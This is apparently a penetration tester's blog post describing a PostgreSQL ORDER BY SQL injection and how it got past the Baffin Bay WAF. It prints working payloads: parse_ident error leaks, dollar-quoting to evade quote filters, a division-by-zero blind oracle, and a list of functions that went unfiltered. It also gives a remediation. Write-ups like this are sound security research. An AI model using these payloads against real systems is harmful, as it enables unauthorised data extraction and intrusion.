SQL Injection - Bypassing Baffin Bay WAF to Exploit PostgreSQL ORDER BY Injection

Hi there!,

During a recent client engagement, I came across a really interesting SQL injection scenario in order by clause. The endpoint had a WAF (Baffin Bay Networks Threat Protection) sitting in front, blocking all the usual SQLi payloads

The Discovery

The target was a GET /api/v1/posts endpoint in a Member API. It had a column query parameter for sorting results. A quick single-quote test confirmed something was off:

GET /api/v1/posts?pageSize=1&pageNumber=1&column=title' HTTP/1.1

The response came back with a PostgreSQL error:

42601: unterminated quoted string at or near "' DESC"

The DESC in the response was the giveaway. It showed that our input had been placed inside the ORDER BY clause. The application was building SQL queries by just gluing strings together without any sanitisation.

The WAF Problem

The Baffin Bay WAF was blocking everything you’d normally reach for:

  • SELECT - blocked
  • CASE - blocked
  • CAST - blocked
  • substr, chr, length - blocked
  • version(), current_user - blocked

WAF Bypass - The PostgreSQL Function Catalog

After some trial and error, 23 PostgreSQL functions were identified that passed through the WAF without triggering any alerts. Here’s the full arsenal:

Data Extraction Functions: parse_ident() text() string_to_array() array_to_string() cardinality() hashtext()

System Information Functions: current_database() current_schema() current_query() pg_typeof()

Server/Connection Functions: inet_server_addr() inet_server_port() pg_backend_pid() pg_postmaster_start_time() pg_conf_load_time() pg_current_wal_lsn() pg_is_in_recovery() txid_current()

Database Introspection Functions (the real gold): pg_get_functiondef() pg_get_viewdef() to_regclass() to_regproc()

Miscellaneous: gen_random_uuid() pg_database_size() pg_size_pretty()

Since the injection was in an ORDER BY clause, any function that returns a value PostgreSQL can sort by could be used. The technique was error-based extraction which trigger errors that leak the function return value in the error message itself.

Extraction Techniques

Technique 1: Error-Based Leak via parse_ident()

parse_ident() is a PostgreSQL function that parses a string into its qualified identifier components. When given an invalid identifier (containing spaces, dots in wrong positions, etc.), it throws an error that includes the input string in the message.

Payload pattern:

Column=parse_ident(text(<target_function>))

Error response:

22023: string is not a valid identifier: "<LEAKED_VALUE>"

Technique 2: Underscore-to-Space Transformation

Some values like USER_DB contain underscores, making them valid identifiers that parse_ident would accept. To bypass this, convert underscores to spaces first:

Column=parse_ident(array_to_string(string_to_array(text(current_database()),$$_$$),$$ $$))

This transforms USER_DBUSER DB which triggers the parse_ident error, leaking:

22023: string is not a valid identifier: "USER DB"

Reverse USER DBUSER_DB and you’ve got the database name.

Technique 3: Type Conversion via text()

Many PostgreSQL functions return non-text types (timestamps, inet addresses, booleans). The text() function converts these without triggering the WAF.

Technique 4: Dollar-Quoting ($$) for WAF Bypass

The WAF was blocking single quotes in payloads. PostgreSQL’s dollar-quoting ($$string$$) bypassed this entirely:

Column=parse_ident(text(pg_get_functiondef(to_regproc($$get_all_user_postsrequests$$))))

No quotes in the payload - $$ delimits the string. The WAF had no rule for it.

Technique 5: Blind Division-by-Zero Oracle

For verifying guessed values when direct error leakage wasn’t possible, a blind division-by-zero oracle was used:

Column=1/(hashtext(text(<expr_A>))-hashtext(text(<expr_B>)))

If A equals B, the subtraction gives zero → 22012: division by zero. Used to confirm table existence, function names, and database objects.

Extracting the Function Source Code

We managed to pull the actual PostgreSQL function source using pg_get_functiondef() and what we saw was exactly what we expected - the column parameter was being concatenated straight into a dynamic SQL query with zero sanitisation.

What Was Extracted

Database Server Info

Data Point Value
Database Name [redacted]
Database User [redacted]
Current Schema public
Server IP [redacted]
Server Port 5432
Database Size 49 MB
Uptime Since [redacted]
Replication Primary (not a replica)

Using the WAF bypass techniques above, we were able to extract database name, server information, full function source code showing the injection root cause, and enumerate database tables and views through error-based leakage in the ORDER BY clause.

Suggested Fix

  1. Replace ORDER BY || _sort_column with a CASE whitelist mapping column names
  2. Revoke access to pg_get_functiondef, pg_get_viewdef, to_regclass from the application database user

References

The references below were mostly sourced from rag.preview.is - a RAG-powered search engine for security research.

  1. Community WAF Bypass Payloads
  2. Pentesting PostgreSQL with SQL Injections (OnSecurity)
  3. {JS-ON: Security-OFF} - Abusing JSON-Based SQL to Bypass WAF (Team82/Claroty)
  4. The WAF Evasion Playbook (Sika Security)
  5. SQL Injection Bypassing WAF (OWASP)

I used Claude CLI (with deepseek-v4-pro) for the entire pentest workflow - running tests, documenting findings, and drafting this blog. The RAG tool rag.preview.is was used to source the references for WAF bypass techniques during the engagement.

That’s all for this one! Hope you found the WAF bypass techniques useful. See you in the next post.

Load Comments?